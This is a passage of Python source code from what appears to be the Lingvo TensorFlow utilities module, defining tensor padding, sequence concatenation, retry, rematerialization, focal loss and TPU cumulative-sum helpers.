if isinstance(t, tf.IndexedSlices):
sum_transform += [tf.reduce_sum(transform(t.values))]
else:
sum_transform += [tf.reduce_sum(transform(t))]
return tf.add_n(sum_transform)
def SumSquared(tensor_list):
return _TransformAndSum(tensor_list, lambda v: v**2)
def SumAbs(tensor_list):
return _TransformAndSum(tensor_list, tf.abs)
def ReduceRms(x: tf.Tensor) -> tf.Tensor:
"""Computes root mean square of tensor x with numerical stability."""
if not x.shape.is_fully_defined():
raise ValueError('Shape of x must be fully defined.')
if not x.shape.as_list():
return x
denom = functools.reduce((lambda x, y: x * y), x.shape.as_list())
if denom <= 1e8:
return tf.math.sqrt(tf.math.reduce_mean(tf.math.square(x)))
tf.logging.info('reduce_rms %s denom=%d', x, denom)
sum_square_x = tf.math.reduce_sum(tf.math.reduce_sum(tf.math.square(x), -1))
avg_square_x = sum_square_x / tf.constant(denom, dtype=sum_square_x.dtype)
return tf.math.sqrt(avg_square_x)
def PiecewiseConstant(x_in, boundaries, values, vdtype):
"""Returns the piecewise value of x_in."""
x_in = tf.cast(tf.convert_to_tensor(x_in), tf.float32)
assert len(values) == len(boundaries) + 1
assert sorted(boundaries) == list(boundaries)
bs = tf.convert_to_tensor(boundaries, dtype=tf.float32)
vs = tf.convert_to_tensor(values, dtype=vdtype)
# The following is equivalent to 'return vs[index]'.
index = tf.reduce_sum(tf.cast(tf.greater_equal(x_in, bs), tf.int32))
one_hot_vec = tf.one_hot(
tf.expand_dims(index, 0), depth=len(values), dtype=vdtype)
return Matmul(tf.reshape(vs, (1, -1)), tf.transpose(one_hot_vec))[0][0]
def PadSequenceDimension(x, length, pad_val, shape=None, axis=1):
"""Pads x to `length` using `pad_val` along the axis dim.
Assumes `x` is a tensor with rank >= 2, and it only pads `x` to `length`
along the axis dim. Explicitly sets the returned tensor shape to `shape` if
given. Raises runtime errors if x.shape[axis] > length or
x.shape[i] != shape[i] where i != axis.
Args:
x: the tensor to be padded with axis dimension being the time. E.g., x
usually has shape [batch, seq_len, ...], when axis=1.
length: an int to specify the length to pad x to.
pad_val: an int or float used to pad x.
shape: an int array specifying the shape of the padded tensor if specified.
axis: The dimension that x will be padded, default to 1.
Returns:
The padded tensor with shape [batch, seq_len, ...], where
ret[:, :seq_len, ...] == x, when axis=1, and similarly for other axes.
"""
if x.shape.ndims is not None:
rank = x.shape.ndims
assert rank >= 2
slen = GetShape(x, rank)[axis]
pad_len = length - slen
pad = [[0, 0] for _ in range(rank)]
pad[axis][1] = pad_len
else:
rank = tf.rank(x)
with tf.control_dependencies([assert_greater_equal(rank, 2)]):
slen = tf.shape(x)[axis]
pad_len = length - slen
pad = tf.scatter_nd([[axis, 1]], [pad_len], [rank, 2])
x = tf.pad(x, pad, constant_values=pad_val)
if x.shape.ndims is not None and isinstance(length, int):
static_shape = x.shape.as_list()
static_shape[axis] = length
x.set_shape(static_shape)
if shape:
if not isinstance(shape, (list, tuple)):
raise TypeError('Shape must be a list or tuple.')
x = HasRank(x, len(shape))
x = tf.ensure_shape(x, shape)
return x
def PadSequenceTo(xs, padding, length, pad_val):
"""Pads `xs` and `padding` to `length` using `pad_val` along the 2nd dim.
Pads `xs` to `length` using `pad_val`, and `padding` using 1.
Raise error if `x.shape[:2]` and `padding.shape` are not the same.
Args:
xs: A Tensor or a list of Tensors of shape [batch, seqlen] or [batch,
seqlen, ...].
padding: A 0/1 Tensor of shape [batch, seqlen]. 1 is for padded locations.
length: A Python int, the length to pad to.
pad_val: A Python numeric, used for padding x.
Returns:
A tuple of padded xs and padding.
"""
if not isinstance(xs, (list, tuple)):
new_xs = [xs]
else:
new_xs = xs
res = []
for x in new_xs:
batch, slen = GetShape(x, 2)
padding = HasRank(padding, 2)
padding = HasShape(padding, [batch, slen])
new_x = PadSequenceDimension(x, length, pad_val)
res.append(new_x)
padding = PadSequenceDimension(padding, length, tf.cast(1, padding.dtype))
if not isinstance(xs, (list, tuple)):
assert len(res) == 1
return res[0], padding
else:
return tuple(res), padding
def ApplyPadding(padding, x, padded=None, use_select=True):
"""Applies padding to a tensor.
This is preferable to using arithmetic means for masking out padded values
such as::
# Equiv to ApplyPadding(padding, x)
x *= 1.0 - padding
# Equiv to ApplyPadding(padding, new, old)
new = old * padding + new * (1 - padding)
Aside from just being easier to read and reason about, using this function
is friendly to quantized representations because it does not mix arithmetic
on the padding values with the values in the tensor being padded (which can
have a very different range than the 0..1 padding tensor).
In addition, this works around issues in quantized schemes where we are
guaranteed to have an exact 0 but not necessarily any other number (i.e. 1).
Args:
padding: Tensor of padding values where 0 == keep and 1 == pad.
x: Tensor to apply padding to.
padded: Optional. Values to include for padded elements. Defaults to zeros.
Must have a shape broadcastable to 'x' if specified.
use_select: Controls whether padding is applied with a select-mask
(True/default) or arithmetically (False). Some platforms have a
sensitivity to one or the other and this is used to work around such
issues.
Returns:
A tensor with the same shape as x with padded values masked.
"""
padding = with_dependencies([
Assert(
tf.reduce_all(
tf.math.logical_or(
tf.equal(padding, tf.zeros([], padding.dtype)),
tf.equal(padding, tf.ones([], padding.dtype)))), [padding])
], padding)
if use_select:
if padded is None:
padded = tf.zeros([], x.dtype)
if padding.dtype != tf.bool:
padding = padding > tf.zeros([], padding.dtype)
result = tf.where_v2(padding, padded, x)
return tf.ensure_shape(result, x.shape)
else:
result = x * tf.cast(1.0 - tf.cast(padding, tf.float32), x.dtype)
if padded is not None:
result += padded * tf.cast(padding, padded.dtype)
return result
def LengthsFromPaddings(paddings):
"""Computes lengths of each sequence in a batch, ignoring trailing padding.
Note the following isn't guaranteed due to leading paddings.
PaddingsFromLengths(LengthsFromPaddings(x)) == x
Args:
paddings: a tensor with shape [batch, length].
Returns:
lengths tensor shaped [batch] containing the unpadded length of each
sequence in the batch.
"""
paddings = HasRank(paddings, 2)
paddings = tf.cast(paddings, tf.int32)
# Find the last unpadded value.
# Cannot just use tf.reduce_sum because there might be leading paddings.
# Everything after the last unpadded value has 1.0 - paddings == 0.0, so in
# the cumsum below they will have the same value.
cumsum = tf.cumsum(1 - paddings, axis=1)
same_as_last_element = tf.equal(cumsum, cumsum[:, -1:])
# Counting the number of elements with the same value gives us num_padded + 1
# and so counting the number that differs gives us num_padded - 1.
length = tf.reduce_sum(
1 - tf.cast(same_as_last_element, tf.int32), axis=1) + 1
# Special case for all 0 paddings.
all_zero_paddings = tf.equal(tf.reduce_sum(1 - paddings, axis=1), 0)
return tf.where(all_zero_paddings, tf.zeros_like(length), length)
def PaddingsFromLengths(lengths, maxlen=None):
"""Computes paddings Tensor from lengths.
Note the following isn't guaranteed due to leading paddings.
PaddingsFromLengths(LengthsFromPaddings(x)) == x.
This method does not generate leading paddings.
Args:
lengths: A int32 Tensor of shape [B].
maxlen: None or a Python int or a scalar Tensor.
Returns:
A 0/1 valued Tensor of shape [B, maxlen or ?] where 1s are padded positions.
"""
lengths = HasRank(lengths, 1)
if maxlen is not None:
lengths = with_dependencies(
[assert_less_equal(tf.cast(tf.reduce_max(lengths), tf.int32), maxlen)],
lengths)
return 1. - tf.sequence_mask(lengths, maxlen=maxlen, dtype=tf.float32)
def TrimTrailingPaddings(inputs, paddings):
"""Trims trailing paddings from inputs.
Since the number of dimensions is not fixed, this will not work on TPU.
Args:
inputs: a tensor with shape [batch, length, ...].
paddings: a tensor with shape [batch, length].
Returns:
Trimmed inputs and paddings. For compatibility reasons, the trimmed tensors
will always have length at least 1.
"""
paddings = HasRank(paddings, 2)
max_length = tf.maximum(tf.reduce_max(LengthsFromPaddings(paddings)), 1)
output_shape = tf.shape(inputs)
output_shape = tf.concat([[output_shape[0], max_length], output_shape[2:]],
axis=0)
outputs = tf.slice(inputs, tf.zeros_like(output_shape), output_shape)
out_paddings = tf.slice(paddings, [0, 0],
tf.stack([output_shape[0], max_length]))
return outputs, out_paddings
def ReversePaddedSequence(inputs, paddings):
"""Reverse inputs based on paddings.
Only reverse the unpadded portion of `inputs`. It assumes inputs are only
padded in the end.
Args:
inputs: a tensor of [seq_length, batch_size, num_input_nodes].
paddings: a tensor of float32/float64 zero or one of shape [seq_length,
batch_size, 1].
Returns:
A reversed tensor of the same shape as `inputs`.
"""
inversed_paddings = 1.0 - tf.squeeze(paddings, 2)
inputs_length = tf.cast(
tf.math.rint(tf.reduce_sum(inversed_paddings, axis=0)), tf.int32)
return tf.reverse_sequence(inputs, inputs_length, seq_axis=0, batch_axis=1)
def ConcatenatePaddedSequences(input0, input1, padding0, padding1, seq_dim=1):
"""Concatenates input sequences with varying lengths as defined by paddings.
This is a helper function for concatenating 2 batches of input sequences,
where each example in the batch can have different lengths, as defined by
the corresponding paddings. To concatenate correctly, it makes use of
tf.reverse_sequence to partially reverse the sequences before
concatenating them together.
NOTE: We assume that the tensors have no leading paddings.
Args:
input0: A tensor of size [batch, max_length, ...] or [max_length, batch,
...] depending on the value set for axis.
input1: A tensor of size [batch, max_length, ...] or [max_length, batch,
...] depending on the value set for axis.
padding0: A Tensor of size [batch, max_length] or [max_length, batch]
corresponding to the padding for input0.
padding1: A Tensor of size [batch, max_length] or [max_length, batch]
corresponding to the padding for input1.
seq_dim: int, the time axis along which the tensors will be concatenated.
Should be 0 or 1. Assumes that batch_dim is 1 - seq_dim.
Returns:
The concatenation of input0 and input1, and the corresponding padding.
Raises:
tf.errors.InvalidArgumentError when seq_dim is not 0 or 1.
"""
if seq_dim != 0 and seq_dim != 1:
raise tf.errors.InvalidArgumentError(None, None, 'seq_dim must be 0 or 1.')
batch_dim = 1 - seq_dim
# inpu0 and input1 should have the same batch size and same rank.
input0 = with_dependencies([
assert_equal(GetShape(input0)[batch_dim],
GetShape(input1)[batch_dim]),
assert_equal(GetRank(input0), GetRank(input1))
], input0)
batch_size = GetShape(padding0)[batch_dim]
# batch dimension of inputs and paddings should match.
input0 = with_dependencies([
assert_equal(GetShape(input0)[batch_dim], batch_size),
assert_equal(GetShape(padding1)[batch_dim], batch_size)
], input0)
input0_seq_dim = tf.cast(
tf.tile([tf.shape(padding0)[seq_dim]], [batch_size]), dtype=tf.int32)
input1_seq_dim = tf.cast(
tf.tile([tf.shape(padding1)[seq_dim]], [batch_size]), dtype=tf.int32)
# LengthsFromPaddings assumes that paddings is of size [batch, max_length].
if seq_dim == 1:
seq_length0 = LengthsFromPaddings(padding0)
seq_length1 = LengthsFromPaddings(padding1)
else:
seq_length0 = LengthsFromPaddings(tf.transpose(padding0))
seq_length1 = LengthsFromPaddings(tf.transpose(padding1))
# We assume that the tensors have no leading paddings.
# TODO(arunnt): Concatenate tensors with leading paddings correctly.
seq_length0 = with_dependencies([
assert_equal(
seq_length0,
tf.cast(tf.reduce_sum(1.0 - padding0, seq_dim), dtype=tf.int32))
], seq_length0)
seq_length1 = with_dependencies([
assert_equal(
seq_length1,
tf.cast(tf.reduce_sum(1.0 - padding1, seq_dim), dtype=tf.int32))
], seq_length1)
# Concatenate input sequences.
reversed_input0 = tf.reverse_sequence(
input0, seq_length0, seq_axis=seq_dim, batch_axis=batch_dim)
reversed_input1 = tf.reverse_sequence(
input1, input1_seq_dim, seq_axis=seq_dim, batch_axis=batch_dim)
reversed_concat = tf.concat([reversed_input1, reversed_input0], axis=seq_dim)
concat_inputs = tf.reverse_sequence(
reversed_concat,
seq_length0 + input1_seq_dim,
seq_axis=seq_dim,
batch_axis=batch_dim)
# Concatenate paddings. Note that paddings are always a Tensor of 0s and 1s,
# so, unlike the inputs, we don't have to reverse padding1, we can simply
# concatenate reversed padding0 and padding1.
reversed_padding0 = tf.reverse_sequence(
padding0, input0_seq_dim, seq_axis=seq_dim, batch_axis=batch_dim)
reversed_concat_padding = tf.concat([reversed_padding0, padding1],
axis=seq_dim)
concat_paddings = tf.reverse_sequence(
reversed_concat_padding,
input0_seq_dim + seq_length1,
seq_axis=seq_dim,
batch_axis=batch_dim)
return concat_inputs, concat_paddings
def ShiftLeft(tensor, shift_size, pad_val=0, axis=1):
"""Shifts the values in a tensor to the left along the axis dimension.
The first shift_size values are dropped, and the tensor is padded on the
right with pad_val.
Args:
tensor: the input tensor with the axis dim being time.
shift_size: the number of frames >= 0 to shift.
pad_val: the value to pad on the right of the tensor.
axis: The dimension along which the tensor will be shifted, default to 1.
Returns:
A left shifted tensor on dimension axis.
"""
rank = tensor.shape.rank
with tf.control_dependencies(
[assert_greater_equal(rank, 2),
assert_greater_equal(shift_size, 0)]):
time = GetShape(tensor)[axis]
begin = tf.scatter_nd([[axis]], [shift_size], [rank])
return PadSequenceDimension(
tf.slice(tensor, begin, size=[-1] * rank), time, pad_val, axis=axis)
def Retry(*args, **kwargs):
return retry.Retry(*args, **kwargs)
# FailedPreconditionError: variables are not initialized.
# AbortedError: processes restarts.
# UnavailableError: Bad hardware status: 0x1
transient_tf_errors = (tf.errors.FailedPreconditionError,
tf.errors.AbortedError, tf.errors.UnavailableError)
def RetryOnTransientTfError(*args, **kwargs):
return Retry(transient_tf_errors, *args, **kwargs)
def PadOrTrimTo(x, shape, pad_val=0, pad_after_contents=True):
"""Pad and slice x to the given shape.
Args:
x: A tensor.
shape: The shape of the returned tensor.
pad_val: An int or float used to pad x.
pad_after_contents: Whether to pad and trim after the original contents of
each dimension.
Returns:
'x' is padded with pad_val and sliced so that the result has the given
shape.
Raises:
ValueError: if shape is a tf.TensorShape and not fully defined.
"""
if isinstance(shape, (list, tuple)):
expected_rank = len(shape)
elif isinstance(shape, tf.TensorShape):
if not shape.is_fully_defined():
raise ValueError('shape %s padding %s must be fully defined.' %
(shape, x))
expected_rank = shape.rank
else:
shape = HasRank(shape, 1)
expected_rank = tf.size(shape)
x = HasRank(x, expected_rank)
pad = shape - tf.minimum(tf.shape(x), shape)
zeros = tf.zeros_like(pad)
if pad_after_contents:
# If dim_i is less than shape[i], pads after contents.
paddings = tf.stack([zeros, pad], axis=1)
# If dim_i is larger than shape[i], we slice [0:shape[i]] for dim_i.
slice_begin = zeros
else:
# If dim_i is less than shape[i], pads before contents.
paddings = tf.stack([pad, zeros], axis=1)
# If dim-i is larger than shape[i], we slice [dim_i - shape[i]:dim_i]
# for dim_i.
slice_begin = tf.shape(x) + pad - shape
x = tf.pad(x, paddings, constant_values=pad_val)
x = tf.slice(x, slice_begin, shape)
return tf.reshape(x, shape)
def RepeatDim(tensor, multiple, axis):
"""Copies elements in tensor's axis "multiple" times, like np.repeat."""
# x = [[1, 2, 3], [4, 5, 6]]
# RepeatDim(x, multiple=2, axis=1) gives:
# [[1, 1, 2, 2, 3, 3]. [4, 4, 5, 5, 6, 6]]
# As a comparison tf.tile(x, multiples=[1, 2]) gives:\
# [[1, 2, 3, 1, 2, 3], [4, 5, 6, 4, 5, 6]]
if multiple == 1:
return tensor
t_shape = tf.shape(tensor)
tensor_dims = tf.concat(
[t_shape[:axis], [t_shape[axis] * multiple], t_shape[axis + 1:]], 0)
multiple_dims = tf.concat([
tf.fill([axis + 1], 1), [multiple],
tf.fill([tf.rank(tensor) - axis - 1], 1)
], 0)
return tf.reshape(
tf.tile(tf.expand_dims(tensor, axis + 1), multiple_dims), tensor_dims)
def StackTensorsRecursively(values):
"""Recursively stacks Tensors in a list of `.NestedMap`.
Args:
values: a list of `.NestedMap` or Tensors to stacks.
Returns:
A `.NestedMap` with stacked values or a stacked Tensor.
"""
flatten = [w.Flatten() for w in values]
stacked = []
for i in range(len(flatten[0])):
stacked += [tf.stack([flatten[j][i] for j in range(len(flatten))])]
ret = values[0].Pack(stacked)
return ret
def MixByWeight(inputs, weights, seed=None):
"""Returns a weighted random choice and bprop type from the give inputs.
Args:
inputs: a list of callables, where each callable returns a tf.Tensor or a
nested structure containing tf.Tensor. Function return types must be
consistent across elements. The tf.Operation to compute the result tensor
will only be invoked for one input at a time. For example, if each fn
represents an input record stream, a record will be drawn only from a
selected stream while the other streams will remain unchanged.
weights: a 1D tensor of float > 0 of the same length as inputs.
seed: random seed.
Returns:
A probabilistic sample from the inputs proportional to the weights. The
return type will be the same as return type of individual 'fn' from the
inputs.
A one-hot vector of the source selected.
"""
weights = tf.convert_to_tensor(weights, dtype=tf.float32)
weights = with_dependencies([
assert_equal(tf.shape(weights), [len(inputs)]),
assert_greater_equal(tf.reduce_min(weights), 0.0)
], weights)
lower = tf.cumsum(weights, exclusive=True)
upper = tf.cumsum(weights, exclusive=False)
r = tf.random.uniform(shape=[], maxval=upper[-1], seed=seed)
return_input = tf.case(
[(tf.math.logical_and(lower[i] <= r, r < upper[i]), inputs[i])
for i in range(len(inputs))],
exclusive=True)
selected_index = tf.case(
[(tf.math.logical_and(lower[i] <= r, r < upper[i]), lambda i=i: i)
for i in range(len(inputs))],
exclusive=True)
bprop_index = tf.one_hot(selected_index, len(inputs), dtype=tf.float32)
return return_input, bprop_index
def CheckShapes(shapes):
"""Asserts that shapes is a tuple of NestedMap or tshape.Shape."""
assert isinstance(shapes, tuple), str(shapes)
for s in shapes:
if isinstance(s, NestedMap):
assert all([isinstance(t, tshape.Shape) for t in Flatten(s)
]), '{} contains non-tensor value.'.format(s)
else:
assert isinstance(s, tshape.Shape), '{}: {}'.format(type(s), s)
def FPropDtype(params):
return params.fprop_dtype if params.fprop_dtype is not None else params.dtype
def UpdateFpropDtype(params, fprop_dtype):
"""Recursively update the fprop_dtype of the Params."""
# Handle the case when the input "params" is not an instance of hyperparams
# For example, when UpdateDtype is called recursively for all the items in
# the "sub" list of SequentialLayer (see 1st elif below)
if not isinstance(params, hyperparams.Params):
return
for key, val in params.IterParams():
if isinstance(val, hyperparams.Params):
UpdateFpropDtype(val, fprop_dtype)
elif isinstance(val, (list, tuple)):
for item in val:
UpdateFpropDtype(item, fprop_dtype)
elif key == 'fprop_dtype':
params.fprop_dtype = fprop_dtype
def UpdateDtype(params, dtype):
"""Recursively update the dtype of the Params."""
# Handle the case when the input "params" is not an instance of hyperparams
# For example, when UpdateDtype is called recursively for all the items in
# the "sub" list of SequentialLayer (see 1st elif below)
if not isinstance(params, hyperparams.Params):
return
for key, val in params.IterParams():
if isinstance(val, hyperparams.Params):
UpdateDtype(val, dtype)
elif isinstance(val, (list, tuple)):
for item in val:
UpdateDtype(item, dtype)
elif key == 'dtype':
params.dtype = dtype
def NameScopeDecorator(name_scope):
"""Decorates a python function to introduce a tf.name_scope.
Example::
@py_utils.NameScopeDecorator('foobar')
def MyFoobarMethod(self):
# ... Do TF things
Args:
name_scope: The name scope to introduce.
Returns:
A function decorator.
"""
def Decorator(f):
def Wrapped(*args, **kwargs):
with tf.name_scope(name_scope):
return f(*args, **kwargs)
return Wrapped
return Decorator
def SequencesToDebugStrings(ids, lens, summarize=5):
"""Returns debug strings for the given sequences.
Args:
ids: int32 of [batch, len].
lens: int32 of [batch].
summarize: number of ids to summarize per sequence.
Returns:
A string tensor of [batch].
"""
num_seqs = tf.shape(lens)[0]
def _Body(i, result):
line = tf.strings.format('{}', ids[i, :lens[i]], summarize=summarize)
return i + 1, tf.concat([result, tf.reshape(line, [1])], axis=0)
i0 = tf.zeros(shape=[], dtype=tf.int32)
result0 = tf.constant('', shape=[0], dtype=tf.string)
_, strs = tf.while_loop(
lambda i, result: i < num_seqs,
_Body, (i0, result0),
shape_invariants=(i0.shape, tf.TensorShape([None])))
return strs
# TODO(jamesqin): follow suggestions in
# b/167460492#comment16
def RematerializeFn(fn, *xs):
"""Calls fn and rematerializes fn in the backward pass.
`fn(*xs) -> ys`, where xs and ys can be a single tensor or a tuple of tensors.
Args:
fn: A python function to be rematerialized in the backprop pass.
*xs: A single tensor or a list/tuple of tensors. `xs` are input args to the
fn function.
Returns:
`fn(*xs)`
"""
initial_step_seed = GetStepSeed()
final_step_seed = MaybeGenerateSeedFromScope()
def Backward(fwd_xs, fwd_ys, d_fwd_ys):
"""The backward function that rematerializes forward outputs."""
del fwd_ys
always_true = tf.random.uniform([]) < 2.0
# Alternatively, can do this:
# tf.where(tf.math.is_nan(x),
# tf.constant(float('nan'), dtype=x.dtype) * tf.ones_like(x),
# x)
bak_xs = [tf.where(always_true, x, tf.zeros_like(x)) for x in fwd_xs.xs]
for dst, src in zip(bak_xs, xs):
dst.set_shape(src.shape)
ResetStepSeed(initial_step_seed)
ys = fn(*bak_xs)
MaybeResetStepSeed(final_step_seed)
dxs = tf.gradients(ys, bak_xs, grad_ys=d_fwd_ys)
dxs_final = []
for dx, x in zip(dxs, bak_xs):
if dx is None:
dxs_final.append(tf.zeros_like(x))
else:
dxs_final.append(dx)
assert len(dxs_final) == len(bak_xs)
return NestedMap(
initial_step_seed=tf.zeros_like(initial_step_seed), xs=dxs_final)
ys_shapes = []
# TODO(huangyp, yonghui): Check Forward doesn't use any stateful random ops.
def Forward(fwd_xs):
"""Forward function plus sanity checks."""
for dst, src in zip(fwd_xs.xs, xs):
dst.set_shape(src.shape)
ResetStepSeed(fwd_xs.initial_step_seed)
ys = fn(*fwd_xs.xs)
# Some sanity check.
assert not GetExtraInputs()
assert not GetExtraArgs()
assert not GetExtraVars()
if isinstance(ys, tuple):
for y in ys:
assert isinstance(y, tf.Tensor)
ys_shapes.append(y.shape)
else:
assert isinstance(ys, tf.Tensor)
ys_shapes.append(ys.shape)
return ys
ys = CallDefun(
Forward,
NestedMap(initial_step_seed=initial_step_seed, xs=xs),
bak=Backward)
if isinstance(ys, tuple):
for y, s in zip(ys, ys_shapes):
y.set_shape(s)
else:
ys.set_shape(ys_shapes[0])
# TODO(b/129159299): The ResetStepSeed below is needed to work around this
# bug, which is a problem with global tensors being shared by different
# inference graphs. It should be replaced with the new step seed value
# returned from the Forward function when the bug is fixed.
MaybeResetStepSeed(final_step_seed)
return ys
# A set of names of stateful random number generator ops.
# See tensorflow/core/ops/random_ops.cc
_STATEFUL_RANDOM_OPS = frozenset({
# pyformat: disable
'RandomUniform',
'RandomUniformInt',
'RandomStandardNormal',
'ParameterizedTruncatedNormal',
'TruncatedNormal',
'RandomShuffle',
'Multinomial',
'RandomGamma',
'RandomPoisson',
'RandomPoissonV2',
# pyformat: enable
})
def StatefulRandomOpsInDefun(func, graph=None):
"""Checks whether the Defun depends on stateful random number ops.
Stateful random number generator ops should be avoid in Recurrent() call.
Otherwise, these ops produce inconsistent values between FProp and BProp.
Args:
func: a _DefinedFunction or ConcreteFunction to check.
graph: a Graph. Set None to use the default graph.
Returns:
A list of names of the stateful random ops.
Raises:
InvalidArgumentError: if the input func/graph is invalid.
"""
if graph is None:
graph = tf.get_default_graph()
func.add_to_graph(graph)
graph_def = graph.as_graph_def()
# A dict from function name to FunctionDef.
func_defs = {x.signature.name: x for x in graph_def.library.function}
if isinstance(func, function._DefinedFunction): # pylint: disable=protected-access
if func.definition.signature.name not in func_defs:
raise tf.errors.InvalidArgumentError(
None, None, 'Defun {} is not in the graph .'.format(
func.definition.signature.name))
nodes = py_collections.deque(func.definition.node_def)
else:
nodes = py_collections.deque(func.function_def.node_def)
stateful_ops = []
# Recursively search for stateful random op.
while nodes:
node = nodes.pop()
assert isinstance(node, node_def_pb2.NodeDef), node
if node.op in _STATEFUL_RANDOM_OPS:
stateful_ops.append(node.name)
continue
def _AddDefunNodes(func_name):
"""If the given func_name is a Defun, add its sub-nodes into nodes."""
if func_name in func_defs:
nodes.extend(func_defs[func_name].node_def)
# For functional.{While|For|If} ops, add their Defun attr into search.
if node.op == 'While':
_AddDefunNodes(node.attr['body'].func.name)
_AddDefunNodes(node.attr['cond'].func.name)
elif node.op == 'For':
_AddDefunNodes(node.attr['body'].func.name)
elif node.op == 'If':
_AddDefunNodes(node.attr['then_branch'].func.name)
_AddDefunNodes(node.attr['else_branch'].func.name)
elif node.op == 'StatefulPartitionedCall':
_AddDefunNodes(node.attr['f'].func.name)
elif node.op != 'PartitionedCall':
# For other op, check whether itself is a Defun op.
_AddDefunNodes(node.op)
return stateful_ops
def ToPlaceholders(nmap, dtype=None):
"""Converts every Tensor in nmap to a placeholder."""
def _ToPlacerholder(x):
shape = [None for _ in x.shape[:-1]] + [x.shape[-1]]
return tf.placeholder(dtype=dtype or x.dtype, shape=shape)
return nmap.Transform(_ToPlacerholder)
def Softmax(logits, axis=None, extra_logit=None, name=None):
"""Softmax with extra_logits, might be useful for large xformer LM."""
if extra_logit is None:
return tf.nn.softmax(logits, axis=axis, name=name)
axis = -1 if axis is None else axis
def ReduceLogSumExp(x):
max_logit = tf.math.reduce_max(
tf.stop_gradient(x), axis=axis, keepdims=True)
base_logit = tf.math.maximum(max_logit, extra_logit)
x -= base_logit
exp_x = tf.math.exp(x)
sum_exp_x = tf.math.reduce_sum(exp_x, axis=axis, keepdims=True)
sum_exp_x += tf.math.exp(extra_logit - base_logit)
return tf.math.log(sum_exp_x) + base_logit
def LogSoftmax(x):
return x - ReduceLogSumExp(x)
with tf.name_scope(name):
return tf.math.exp(LogSoftmax(logits))
def SoftmaxCrossEntropyFocalLoss(logits,
label_ids=None,
label_probs=None,
alpha=None,
gamma=None,
stop_gradient_on_focal_loss_coefficient=False):
u"""Focal loss for multinomial (softmax) logistic loss.
[1] Focal loss https://arxiv.org/abs/1708.02002
Args:
logits: [..., C]. Logits for the multinomial logistic regression. C is the
number of classes.
label_ids: [...]. Each entry in labels must be an index in [0, C).
label_probs: [..., C]. Each vector along last dimension must be a valid
probability distribution.
alpha: [C]. The weighting factor alpha. Eq (3) in [1].
gamma: []. Tunable focusing parameter. Eq (4) in [1].
stop_gradient_on_focal_loss_coefficient: If true, stops gradient on the
focal loss coefficient (1-p)^gamma to stabilize the gradient.
Returns:
loss[i..., j] = FL(pₜ) = - αₜ(1-pₜ)ˠlog(pₜ) Eq (5) in [1].
"""
def _ApplyFocalLossCoefficient(loss, log_probs):
if gamma is not None and gamma != 0:
probs = tf.exp(log_probs)
coefficient = tf.pow(1.0 - probs, gamma)
if stop_gradient_on_focal_loss_coefficient:
coefficient = tf.stop_gradient(coefficient)
loss *= coefficient
return loss
if label_probs is not None:
log_probs = tf.nn.log_softmax(logits)
loss = -(label_probs * log_probs)
loss = _ApplyFocalLossCoefficient(loss, log_probs)
if alpha is not None:
loss *= tf.reshape(
alpha, tf.concat([tf.ones(tf.rank(loss) - 1, tf.int32), [-1]],
axis=0))
loss = tf.reduce_sum(loss, axis=-1)
else:
loss = tf.nn.sparse_softmax_cross_entropy_with_logits(
labels=label_ids, logits=logits)
loss = _ApplyFocalLossCoefficient(loss, -loss)
if alpha is not None:
loss *= tf.gather(alpha, label_ids)
return loss
def SigmoidCrossEntropyFocalLoss(logits, labels, alpha=None, gamma=None):
u"""Focal loss for binary (sigmoid) logistic loss.
[1] Focal loss https://arxiv.org/abs/1708.02002
Args:
logits: [..., C]. Logits for the sigmoid logistic regression.
labels: [..., C]. 0/1 labels.
alpha: The weighting factor alpha. Eq (3) in [1].
gamma: Tunable focusing parameter. Eq (4) in [1].
Returns:
loss[i..., j] = FL(pₜ) = - αₜ(1-pₜ)ˠlog(pₜ) Eq (5) in [1].
"""
# [1] Eq (4).
#
# The numerically-stable way to compute
# log(p) for positives;
# log(1 - p) for negatives.
loss = tf.nn.sigmoid_cross_entropy_with_logits(labels=labels, logits=logits)
if gamma is not None and gamma != 0:
# The modulating factor. Note that
# (1 - p)ˠ = [1 - σ(x)]ˠ = [σ(-x)]ˠ, for positives.
# pˠ = [σ(x)]ˠ, for negatives.
loss *= tf.pow(tf.sigmoid(logits * (1 - labels * 2)), gamma)
if alpha is not None:
# [1] Eq (3)
loss *= (alpha * labels + (1 - alpha) * (1 - labels))
return loss
_RECORD_FORMAT_RE = re.compile('(^[A-Za-z_]+):(.*)')
def RecordFormatFromFilePattern(file_pattern):
"""Return the record format string for a Lingvo file pattern.
Lingvo file patterns take the form of:
tfrecord:/path/to/bar -> tfrecord is the record_format.
This function takes a file pattern and returns a string indicating
which format the filepattern implies.
Args:
file_pattern: String file pattern.
Returns:
Tuple (string, string):
- record_format: String record format, e.g., "tfrecord", etc.
- file_pattern: The file pattern without any prefixes.
"""
result = re.match(_RECORD_FORMAT_RE, file_pattern)
if result is None:
# TODO(vrv): Fix all callers so that file_pattern must contain
# the record format prefix.
return 'sstable', file_pattern
# regexp ensures that a match implies there are two groups:
# the record format and then the file pattern.
return result.groups()
def ReadFileLines(file_path):
"""Read a text file and return the lines.
If the file cannot be found at the given path, attempt to load it from the
Lingvo package (useful for data dependencies in par files).
Args:
file_path: path to file, either absolute or relative to the bazel workspace.
Returns:
A list of lines from the file.
"""
if not tf.io.gfile.exists(file_path):
try:
lines = pkgutil.get_data(
'lingvo', file_path.replace('lingvo/', '', 1))
if lines:
lines = lines.splitlines(True)
except IOError:
# If pkgutil can't find the file, continue and let GFile raise the error.
lines = None
else:
lines = None
if not lines:
with tf.io.gfile.GFile(file_path, 'r') as f:
lines = f.readlines()
return lines
# Partially borrowed from
# https://github.com/tensorflow/tensor2tensor/blob/32929305e1a4ec926eff24123758b794df35492b/tensor2tensor/layers/common_layers.py#L349
def CumSum(x, axis=0, exclusive=False, use_einsum=False):
"""A TPU efficient implementation of tf.cumsum().
This is equivalent to tf.cumsum and is faster on TPU as of 08/2019 unless
the axis dimension is very large. The current Tensorflow implementation is
based on scanning and reducing which is not efficient on TPU.
Args:
x: An input Tensor.
axis: An int for the axis.
exclusive: A bool for performing exclusive cumsum.
use_einsum: If true, use einsum on TPU.
Returns:
A Tensor of the same shape as x.
Raises:
ValueError: if the input axis is invalid.
"""
if x.dtype not in (tf.float32, tf.bfloat16) or not use_tpu():
# Fallback to tf.cumsum when inputs are not floats or not running on TPU.
return tf.cumsum(x, axis=axis, exclusive=exclusive)
rank = GetRank(x)
# Needs to know the rank for the final transpose if axis is not the last
# dimension. Otherwise, falls back to tf.cumsum.
if not isinstance(rank, int) and axis != -1:
return tf.cumsum(x, axis=axis, exclusive=exclusive)
if axis < -1:
if axis + rank < 0:
raise ValueError('Unexpected axis: %d (rank = %d)' % (axis, rank))
axis += rank
